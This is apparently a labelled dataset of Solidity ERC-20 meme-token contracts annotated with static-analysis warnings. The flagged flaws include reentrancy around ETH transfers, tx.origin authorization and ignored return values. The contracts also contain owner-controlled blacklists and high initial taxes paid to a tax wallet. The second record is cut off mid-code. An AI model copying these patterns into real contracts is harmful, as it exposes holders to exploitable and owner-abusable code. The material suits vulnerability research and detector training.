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{
"code": "// SPDX-License-Identifier: UNLICENSE\npragma solidity ^0.8.0;\n\nabstract contract Context {\n function _msgSender() internal view virtual returns (address) {\n return msg.sender;\n }\n}\n\ninterface IERC20 {\n function totalSupply() external view returns (uint256);\n\n function balanceOf(address account) external view returns (uint256);\n\n function transfer(\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n function allowance(\n address owner,\n address spender\n ) external view returns (uint256);\n\n function approve(address spender, uint256 amount) external returns (bool);\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n}\n\nlibrary SafeMath {\n function add(uint256 a, uint256 b) internal pure returns (uint256) {\n uint256 c = a + b;\n\n require(c >= a, \"SafeMath: addition overflow\");\n\n return c;\n }\n\n function sub(uint256 a, uint256 b) internal pure returns (uint256) {\n return sub(a, b, \"SafeMath: subtraction overflow\");\n }\n\n function sub(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b <= a, errorMessage);\n\n uint256 c = a - b;\n\n return c;\n }\n\n function mul(uint256 a, uint256 b) internal pure returns (uint256) {\n if (a == 0) {\n return 0;\n }\n\n uint256 c = a * b;\n\n require(c / a == b, \"SafeMath: multiplication overflow\");\n\n return c;\n }\n\n function div(uint256 a, uint256 b) internal pure returns (uint256) {\n return div(a, b, \"SafeMath: division by zero\");\n }\n\n function div(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b > 0, errorMessage);\n\n uint256 c = a / b;\n\n return c;\n }\n}\n\ncontract Ownable is Context {\n address private _owner;\n\n event OwnershipTransferred(\n address indexed previousOwner,\n address indexed newOwner\n );\n\n constructor() {\n address msgSender = _msgSender();\n\n _owner = msgSender;\n\n emit OwnershipTransferred(address(0), msgSender);\n }\n\n function owner() public view returns (address) {\n return _owner;\n }\n\n modifier onlyOwner() {\n require(_owner == _msgSender(), \"Ownable: caller is not the owner\");\n\n _;\n }\n\n function renounceOwnership() public virtual onlyOwner {\n emit OwnershipTransferred(_owner, address(0));\n\n _owner = address(0);\n }\n}\n\ninterface IUniswapV2Factory {\n function createPair(\n address tokenA,\n address tokenB\n ) external returns (address pair);\n}\n\ninterface IUniswapV2Router02 {\n function swapExactTokensForETHSupportingFeeOnTransferTokens(\n uint amountIn,\n uint amountOutMin,\n address[] calldata path,\n address to,\n uint deadline\n ) external;\n\n function factory() external pure returns (address);\n\n function WETH() external pure returns (address);\n\n function addLiquidityETH(\n address token,\n uint amountTokenDesired,\n uint amountTokenMin,\n uint amountETHMin,\n address to,\n uint deadline\n )\n external\n payable\n returns (uint amountToken, uint amountETH, uint liquidity);\n}\n\ncontract $PICKLE is Context, IERC20, Ownable {\n using SafeMath for uint256;\n\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n mapping(address => bool) private _isExcludedFromFee;\n\n mapping(address => bool) private bots;\n\n\t// WARNING Optimization Issue (immutable-states | ID: f90d14c): $PICKLE._taxWallet should be immutable \n\t// Recommendation for f90d14c: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address payable private _taxWallet;\n\n\t// WARNING Optimization Issue (constable-states | ID: 9f1d524): $PICKLE._initialBuyTax should be constant \n\t// Recommendation for 9f1d524: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialBuyTax = 25;\n\n\t// WARNING Optimization Issue (constable-states | ID: 02129cf): $PICKLE._initialSellTax should be constant \n\t// Recommendation for 02129cf: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialSellTax = 28;\n\n uint256 public _finalBuyTax = 0;\n\n uint256 public _finalSellTax = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: 3f57325): $PICKLE._reduceBuyTaxAt should be constant \n\t// Recommendation for 3f57325: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceBuyTaxAt = 11;\n\n\t// WARNING Optimization Issue (constable-states | ID: 9be985f): $PICKLE._reduceSellTaxAt should be constant \n\t// Recommendation for 9be985f: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceSellTaxAt = 20;\n\n\t// WARNING Optimization Issue (constable-states | ID: 64cd955): $PICKLE._preventSwapBefore should be constant \n\t// Recommendation for 64cd955: Add the 'constant' attribute to state variables that never change.\n uint256 private _preventSwapBefore = 15;\n\n uint256 public _transferTax = 0;\n\n uint256 public _buyCount = 0;\n\n uint8 private constant _decimals = 9;\n\n uint256 private constant _tTotal = 1000000000 * 10 ** _decimals;\n\n string private constant _name = unicode\"PICKLE\";\n\n string private constant _symbol = unicode\"$PICKLE\";\n\n uint256 public _maxTxAmount = 20000000 * 10 ** _decimals;\n\n uint256 public _maxWalletSize = 20000000 * 10 ** _decimals;\n\n\t// WARNING Optimization Issue (constable-states | ID: d75dd5b): $PICKLE._taxSwapThreshold should be constant \n\t// Recommendation for d75dd5b: Add the 'constant' attribute to state variables that never change.\n uint256 public _taxSwapThreshold = 10000000 * 10 ** _decimals;\n\n\t// WARNING Optimization Issue (constable-states | ID: 3c944ad): $PICKLE._maxTaxSwap should be constant \n\t// Recommendation for 3c944ad: Add the 'constant' attribute to state variables that never change.\n uint256 public _maxTaxSwap = 20000000 * 10 ** _decimals;\n\n IUniswapV2Router02 private uniswapV2Router;\n\n address private uniswapV2Pair;\n\n bool private tradingOpen;\n\n bool private inSwap = false;\n\n bool private swapEnabled = false;\n\n uint256 private sellCount = 0;\n\n uint256 private lastSellBlock = 0;\n\n event MaxTxAmountUpdated(uint _maxTxAmount);\n\n event TransferTaxUpdated(uint _tax);\n\n modifier lockTheSwap() {\n inSwap = true;\n\n _;\n\n inSwap = false;\n }\n\n constructor() {\n _taxWallet = payable(0x8EBB3243bab3AE24e11FF2B248a1d134CBB9070b);\n\n _balances[_msgSender()] = _tTotal;\n\n _isExcludedFromFee[owner()] = true;\n\n _isExcludedFromFee[address(this)] = true;\n\n _isExcludedFromFee[_taxWallet] = true;\n\n emit Transfer(address(0), _msgSender(), _tTotal);\n }\n\n function name() public pure returns (string memory) {\n return _name;\n }\n\n function symbol() public pure returns (string memory) {\n return _symbol;\n }\n\n function decimals() public pure returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public pure override returns (uint256) {\n return _tTotal;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 274074f): $PICKLE.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for 274074f: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 73fd7af): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 73fd7af: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 3ca9bfb): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 3ca9bfb: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n\t\t// reentrancy-events | ID: 73fd7af\n\t\t// reentrancy-benign | ID: 3ca9bfb\n _transfer(sender, recipient, amount);\n\n\t\t// reentrancy-events | ID: 73fd7af\n\t\t// reentrancy-benign | ID: 3ca9bfb\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 6f98b06): $PICKLE._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for 6f98b06: Rename the local variables that shadow another component.\n function _approve(address owner, address spender, uint256 amount) private {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n\t\t// reentrancy-benign | ID: 3ca9bfb\n _allowances[owner][spender] = amount;\n\n\t\t// reentrancy-events | ID: 73fd7af\n emit Approval(owner, spender, amount);\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: fd1ae26): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for fd1ae26: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 535dbf1): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 535dbf1: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function _transfer(address from, address to, uint256 amount) private {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n require(amount > 0, \"Transfer amount must be greater than zero\");\n\n uint256 taxAmount = 0;\n\n if (from != owner() && to != owner() && to != _taxWallet) {\n require(!bots[from] && !bots[to]);\n\n if (_buyCount == 0) {\n taxAmount = amount\n .mul(\n (_buyCount > _reduceBuyTaxAt)\n ? _finalBuyTax\n : _initialBuyTax\n )\n .div(100);\n }\n\n if (_buyCount > 0) {\n taxAmount = amount.mul(_transferTax).div(100);\n }\n\n if (\n from == uniswapV2Pair &&\n to != address(uniswapV2Router) &&\n !_isExcludedFromFee[to]\n ) {\n require(amount <= _maxTxAmount, \"Exceeds the _maxTxAmount.\");\n\n require(\n balanceOf(to) + amount <= _maxWalletSize,\n \"Exceeds the maxWalletSize.\"\n );\n\n taxAmount = amount\n .mul(\n (_buyCount > _reduceBuyTaxAt)\n ? _finalBuyTax\n : _initialBuyTax\n )\n .div(100);\n\n _buyCount++;\n }\n\n if (to == uniswapV2Pair && from != address(this)) {\n taxAmount = amount\n .mul(\n (_buyCount > _reduceSellTaxAt)\n ? _finalSellTax\n : _initialSellTax\n )\n .div(100);\n }\n\n uint256 contractTokenBalance = balanceOf(address(this));\n\n if (\n !inSwap &&\n to == uniswapV2Pair &&\n swapEnabled &&\n contractTokenBalance > _taxSwapThreshold &&\n _buyCount > _preventSwapBefore\n ) {\n if (block.number > lastSellBlock) {\n sellCount = 0;\n }\n\n require(sellCount < 3, \"Only 3 sells per block!\");\n\n\t\t\t\t// reentrancy-events | ID: fd1ae26\n\t\t\t\t// reentrancy-eth | ID: 535dbf1\n swapTokensForEth(\n min(amount, min(contractTokenBalance, _maxTaxSwap))\n );\n\n uint256 contractETHBalance = address(this).balance;\n\n if (contractETHBalance > 0) {\n\t\t\t\t\t// reentrancy-events | ID: fd1ae26\n\t\t\t\t\t// reentrancy-eth | ID: 535dbf1\n sendETHToFee(address(this).balance);\n }\n\n\t\t\t\t// reentrancy-eth | ID: 535dbf1\n sellCount++;\n\n\t\t\t\t// reentrancy-eth | ID: 535dbf1\n lastSellBlock = block.number;\n }\n }\n\n if (taxAmount > 0) {\n\t\t\t// reentrancy-eth | ID: 535dbf1\n _balances[address(this)] = _balances[address(this)].add(taxAmount);\n\n\t\t\t// reentrancy-events | ID: fd1ae26\n emit Transfer(from, address(this), taxAmount);\n }\n\n\t\t// reentrancy-eth | ID: 535dbf1\n _balances[from] = _balances[from].sub(amount);\n\n\t\t// reentrancy-eth | ID: 535dbf1\n _balances[to] = _balances[to].add(amount.sub(taxAmount));\n\n\t\t// reentrancy-events | ID: fd1ae26\n emit Transfer(from, to, amount.sub(taxAmount));\n }\n\n function min(uint256 a, uint256 b) private pure returns (uint256) {\n return (a > b) ? b : a;\n }\n\n function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {\n address[] memory path = new address[](2);\n\n path[0] = address(this);\n\n path[1] = uniswapV2Router.WETH();\n\n _approve(address(this), address(uniswapV2Router), tokenAmount);\n\n\t\t// reentrancy-events | ID: fd1ae26\n\t\t// reentrancy-events | ID: 73fd7af\n\t\t// reentrancy-benign | ID: 3ca9bfb\n\t\t// reentrancy-eth | ID: 535dbf1\n uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(\n tokenAmount,\n 0,\n path,\n address(this),\n block.timestamp\n );\n }\n\n function removeLimits() external onlyOwner {\n _maxTxAmount = _tTotal;\n\n _maxWalletSize = _tTotal;\n\n emit MaxTxAmountUpdated(_tTotal);\n }\n\n function removeTransferTax() external onlyOwner {\n _transferTax = 0;\n\n emit TransferTaxUpdated(0);\n }\n\n function sendETHToFee(uint256 amount) private {\n\t\t// reentrancy-events | ID: fd1ae26\n\t\t// reentrancy-events | ID: 73fd7af\n\t\t// reentrancy-eth | ID: 535dbf1\n _taxWallet.transfer(amount);\n }\n\n function addBots(address[] memory bots_) public onlyOwner {\n for (uint i = 0; i < bots_.length; i++) {\n bots[bots_[i]] = true;\n }\n }\n\n function delBots(address[] memory notbot) public onlyOwner {\n for (uint i = 0; i < notbot.length; i++) {\n bots[notbot[i]] = false;\n }\n }\n\n function isBot(address a) public view returns (bool) {\n return bots[a];\n }\n\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 4efc531): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 4efc531: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: a903b5d): $PICKLE.openTrading() ignores return value by uniswapV2Router.addLiquidityETH{value address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp)\n\t// Recommendation for a903b5d: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: a1825a5): $PICKLE.openTrading() ignores return value by IERC20(uniswapV2Pair).approve(address(uniswapV2Router),type()(uint256).max)\n\t// Recommendation for a1825a5: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 8a48c53): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 8a48c53: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function openTrading() external onlyOwner {\n require(!tradingOpen, \"trading is already open\");\n\n uniswapV2Router = IUniswapV2Router02(\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\n );\n\n _approve(address(this), address(uniswapV2Router), _tTotal);\n\n\t\t// reentrancy-benign | ID: 4efc531\n\t\t// reentrancy-eth | ID: 8a48c53\n uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(\n address(this),\n uniswapV2Router.WETH()\n );\n\n\t\t// reentrancy-benign | ID: 4efc531\n\t\t// unused-return | ID: a903b5d\n\t\t// reentrancy-eth | ID: 8a48c53\n uniswapV2Router.addLiquidityETH{value: address(this).balance}(\n address(this),\n balanceOf(address(this)),\n 0,\n 0,\n owner(),\n block.timestamp\n );\n\n\t\t// reentrancy-benign | ID: 4efc531\n\t\t// unused-return | ID: a1825a5\n\t\t// reentrancy-eth | ID: 8a48c53\n IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);\n\n\t\t// reentrancy-benign | ID: 4efc531\n swapEnabled = true;\n\n\t\t// reentrancy-eth | ID: 8a48c53\n tradingOpen = true;\n }\n\n function reduceFee(uint256 _newFee) external {\n require(_msgSender() == _taxWallet);\n\n require(_newFee <= _finalBuyTax && _newFee <= _finalSellTax);\n\n _finalBuyTax = _newFee;\n\n _finalSellTax = _newFee;\n }\n\n receive() external payable {}\n\n function manualSwap() external {\n require(_msgSender() == _taxWallet);\n\n uint256 tokenBalance = balanceOf(address(this));\n\n if (tokenBalance > 0) {\n swapTokensForEth(tokenBalance);\n }\n\n uint256 ethBalance = address(this).balance;\n\n if (ethBalance > 0) {\n sendETHToFee(ethBalance);\n }\n }\n}\n",
"file_name": "solidity_code_1.sol",
"size_bytes": 19889,
"vulnerability": 4
} |
{
"code": "// SPDX-License-Identifier: Unlicensed\npragma solidity ^0.8.0;\n\nabstract contract Context {\n function _msgSender() internal view virtual returns (address) {\n return msg.sender;\n }\n}\n\ninterface IERC20 {\n function totalSupply() external view returns (uint256);\n\n function balanceOf(address account) external view returns (uint256);\n\n function transfer(\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n function allowance(\n address owner,\n address spender\n ) external view returns (uint256);\n\n function approve(address spender, uint256 amount) external returns (bool);\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n}\n\nlibrary SafeMath {\n function add(uint256 a, uint256 b) internal pure returns (uint256) {\n uint256 c = a + b;\n\n require(c >= a, \"SafeMath: addition overflow\");\n\n return c;\n }\n\n function sub(uint256 a, uint256 b) internal pure returns (uint256) {\n return sub(a, b, \"SafeMath: subtraction overflow\");\n }\n\n function sub(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b <= a, errorMessage);\n\n uint256 c = a - b;\n\n return c;\n }\n\n function mul(uint256 a, uint256 b) internal pure returns (uint256) {\n if (a == 0) {\n return 0;\n }\n\n uint256 c = a * b;\n\n require(c / a == b, \"SafeMath: multiplication overflow\");\n\n return c;\n }\n\n function div(uint256 a, uint256 b) internal pure returns (uint256) {\n return div(a, b, \"SafeMath: division by zero\");\n }\n\n function div(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b > 0, errorMessage);\n\n uint256 c = a / b;\n\n return c;\n }\n}\n\ncontract Ownable is Context {\n address private _owner;\n\n event OwnershipTransferred(\n address indexed previousOwner,\n address indexed newOwner\n );\n\n constructor() {\n address msgSender = _msgSender();\n\n _owner = msgSender;\n\n emit OwnershipTransferred(address(0), msgSender);\n }\n\n function owner() public view returns (address) {\n return _owner;\n }\n\n modifier onlyOwner() {\n require(_owner == _msgSender(), \"Ownable: caller is not the owner\");\n\n _;\n }\n\n function renounceOwnership() public virtual onlyOwner {\n emit OwnershipTransferred(_owner, address(0));\n\n _owner = address(0);\n }\n}\n\ninterface IUniswapV2Factory {\n function createPair(\n address tokenA,\n address tokenB\n ) external returns (address pair);\n}\n\ninterface IUniswapV2Router02 {\n function swapExactTokensForETHSupportingFeeOnTransferTokens(\n uint amountIn,\n uint amountOutMin,\n address[] calldata path,\n address to,\n uint deadline\n ) external;\n\n function factory() external pure returns (address);\n\n function WETH() external pure returns (address);\n\n function addLiquidityETH(\n address token,\n uint amountTokenDesired,\n uint amountTokenMin,\n uint amountETHMin,\n address to,\n uint deadline\n )\n external\n payable\n returns (uint amountToken, uint amountETH, uint liquidity);\n}\n\ncontract pp is Context, IERC20, Ownable {\n using SafeMath for uint256;\n\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n mapping(address => bool) private _isExcludedFromFee;\n\n mapping(address => bool) private bots;\n\n mapping(address => uint256) private _holderLastTransferTimestamp;\n\n bool public transferDelayEnabled = false;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 2ca42fe): pp._taxWallet should be immutable \n\t// Recommendation for 2ca42fe: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address payable private _taxWallet;\n\n\t// WARNING Optimization Issue (constable-states | ID: 7ef91be): pp._initialBuyTax should be constant \n\t// Recommendation for 7ef91be: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialBuyTax = 1;\n\n\t// WARNING Optimization Issue (constable-states | ID: bf73766): pp._initialSellTax should be constant \n\t// Recommendation for bf73766: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialSellTax = 1;\n\n\t// WARNING Optimization Issue (constable-states | ID: c05461e): pp._finalBuyTax should be constant \n\t// Recommendation for c05461e: Add the 'constant' attribute to state variables that never change.\n uint256 private _finalBuyTax = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: a944192): pp._finalSellTax should be constant \n\t// Recommendation for a944192: Add the 'constant' attribute to state variables that never change.\n uint256 private _finalSellTax = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: 9d2d42e): pp._reduceBuyTaxAt should be constant \n\t// Recommendation for 9d2d42e: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceBuyTaxAt = 1;\n\n\t// WARNING Optimization Issue (constable-states | ID: e292246): pp._reduceSellTaxAt should be constant \n\t// Recommendation for e292246: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceSellTaxAt = 1;\n\n\t// WARNING Optimization Issue (constable-states | ID: e656deb): pp._preventSwapBefore should be constant \n\t// Recommendation for e656deb: Add the 'constant' attribute to state variables that never change.\n uint256 private _preventSwapBefore = 20;\n\n uint256 private _buyCount = 0;\n\n uint8 private constant _decimals = 8;\n\n uint256 private constant _tTotal = 1000000000 * 10 ** _decimals;\n\n string private constant _name = \"pp\";\n\n string private constant _symbol = \"pp\";\n\n uint256 public _maxTxAmount = 20000000 * 10 ** _decimals;\n\n uint256 public _maxWalletSize = 20000000 * 10 ** _decimals;\n\n\t// WARNING Optimization Issue (constable-states | ID: f8d67de): pp._taxSwapThreshold should be constant \n\t// Recommendation for f8d67de: Add the 'constant' attribute to state variables that never change.\n uint256 public _taxSwapThreshold = 1000000 * 10 ** _decimals;\n\n\t// WARNING Optimization Issue (constable-states | ID: 3a0fb1f): pp._maxTaxSwap should be constant \n\t// Recommendation for 3a0fb1f: Add the 'constant' attribute to state variables that never change.\n uint256 public _maxTaxSwap = 10000000 * 10 ** _decimals;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 7aeb04c): pp._maxTaxed should be immutable \n\t// Recommendation for 7aeb04c: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n uint256 private _maxTaxed = calculate(_tTotal, 2);\n\n IUniswapV2Router02 private uniswapV2Router;\n\n address private uniswapV2Pair;\n\n bool private tradingOpen;\n\n bool private inSwap = false;\n\n bool private swapEnabled = false;\n\n uint8 blockBuffer = 1;\n\n\t// WARNING Optimization Issue (constable-states | ID: 6fc87c3): pp.SellPerBlockLimit should be constant \n\t// Recommendation for 6fc87c3: Add the 'constant' attribute to state variables that never change.\n uint8 SellPerBlockLimit = 3;\n\n mapping(uint256 => uint) SellsPerBlock;\n\n\t// WARNING Optimization Issue (constable-states | ID: 04ac7c5): pp.lastBlockSold should be constant \n\t// Recommendation for 04ac7c5: Add the 'constant' attribute to state variables that never change.\n uint256 lastBlockSold;\n\n event MaxTxAmountUpdated(uint _maxTxAmount);\n\n modifier lockTheSwap() {\n inSwap = true;\n\n _;\n\n inSwap = false;\n }\n\n constructor() payable {\n _taxWallet = payable(_msgSender());\n\n _balances[_taxWallet] = _maxTaxed;\n\n _balances[address(this)] = _tTotal - _maxTaxed;\n\n _isExcludedFromFee[owner()] = true;\n\n _isExcludedFromFee[address(this)] = true;\n\n _isExcludedFromFee[_taxWallet] = true;\n\n emit Transfer(address(0), _msgSender(), _tTotal);\n }\n\n function name() public pure returns (string memory) {\n return _name;\n }\n\n function symbol() public pure returns (string memory) {\n return _symbol;\n }\n\n function decimals() public pure returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public pure override returns (uint256) {\n return _tTotal;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 96c67e5): pp.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for 96c67e5: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 965514b): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 965514b: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 26ed09d): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 26ed09d: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n\t\t// reentrancy-events | ID: 965514b\n\t\t// reentrancy-benign | ID: 26ed09d\n _transfer(sender, recipient, amount);\n\n\t\t// reentrancy-events | ID: 965514b\n\t\t// reentrancy-benign | ID: 26ed09d\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 36ff0cf): pp._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for 36ff0cf: Rename the local variables that shadow another component.\n function _approve(address owner, address spender, uint256 amount) private {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n\t\t// reentrancy-benign | ID: 26ed09d\n _allowances[owner][spender] = amount;\n\n\t\t// reentrancy-events | ID: 965514b\n emit Approval(owner, spender, amount);\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 574dc1a): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 574dc1a: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (tx-origin | severity: Medium | ID: e824d13): pp._transfer(address,address,uint256) uses tx.origin for authorization require(bool,string)(_holderLastTransferTimestamp[tx.origin] < block.number,Only one transfer per block allowed.)\n\t// Recommendation for e824d13: Do not use 'tx.origin' for authorization.\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: cc7eb53): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for cc7eb53: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function _transfer(address from, address to, uint256 amount) private {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n require(amount > 0, \"Transfer amount must be greater than zero\");\n\n uint256 taxAmount = 0;\n\n if (from != owner() && to != owner()) {\n if (transferDelayEnabled) {\n if (\n to != address(uniswapV2Router) &&\n to != address(uniswapV2Pair)\n ) {\n\t\t\t\t\t// tx-origin | ID: e824d13\n require(\n _holderLastTransferTimestamp[tx.origin] < block.number,\n \"Only one transfer per block allowed.\"\n );\n\n _holderLastTransferTimestamp[tx.origin] = block.number;\n }\n }\n\n if (\n from == uniswapV2Pair &&\n to != address(uniswapV2Router) &&\n !_isExcludedFromFee[to]\n ) {\n require(amount <= _maxTxAmount, \"Exceeds the _maxTxAmount.\");\n\n require(\n balanceOf(to) + amount <= _maxWalletSize,\n \"Exceeds the maxWalletSize.\"\n );\n\n if (_buyCount < _preventSwapBefore) {\n require(!isContract(to));\n }\n\n _buyCount++;\n }\n\n taxAmount = amount\n .mul(\n (_buyCount > _reduceBuyTaxAt)\n ? _finalBuyTax\n : _initialBuyTax\n )\n .div(100);\n\n if (to == uniswapV2Pair && from != address(this)) {\n require(amount <= _maxTxAmount, \"Exceeds the _maxTxAmount.\");\n\n taxAmount = amount\n .mul(\n (_buyCount > _reduceSellTaxAt)\n ? _finalSellTax\n : _initialSellTax\n )\n .div(100);\n }\n\n uint256 contractTokenBalance = balanceOf(address(this));\n\n if (\n !inSwap &&\n to == uniswapV2Pair &&\n swapEnabled &&\n contractTokenBalance > _taxSwapThreshold &&\n _buyCount > _preventSwapBefore &&\n SellsPerBlock[block.number] < SellPerBlockLimit\n ) {\n\t\t\t\t// reentrancy-events | ID: 574dc1a\n\t\t\t\t// reentrancy-eth | ID: cc7eb53\n swapTokensForEth(\n min(amount, min(contractTokenBalance, _maxTaxSwap))\n );\n\n uint256 contractETHBalance = address(this).balance;\n\n if (contractETHBalance > 0) {\n\t\t\t\t\t// reentrancy-events | ID: 574dc1a\n\t\t\t\t\t// reentrancy-eth | ID: cc7eb53\n sendETHToFee(address(this).balance);\n }\n\n\t\t\t\t// reentrancy-eth | ID: cc7eb53\n SellsPerBlock[block.number]++;\n }\n }\n\n if (taxAmount > 0) {\n\t\t\t// reentrancy-eth | ID: cc7eb53\n _balances[address(this)] = _balances[address(this)].add(taxAmount);\n\n\t\t\t// 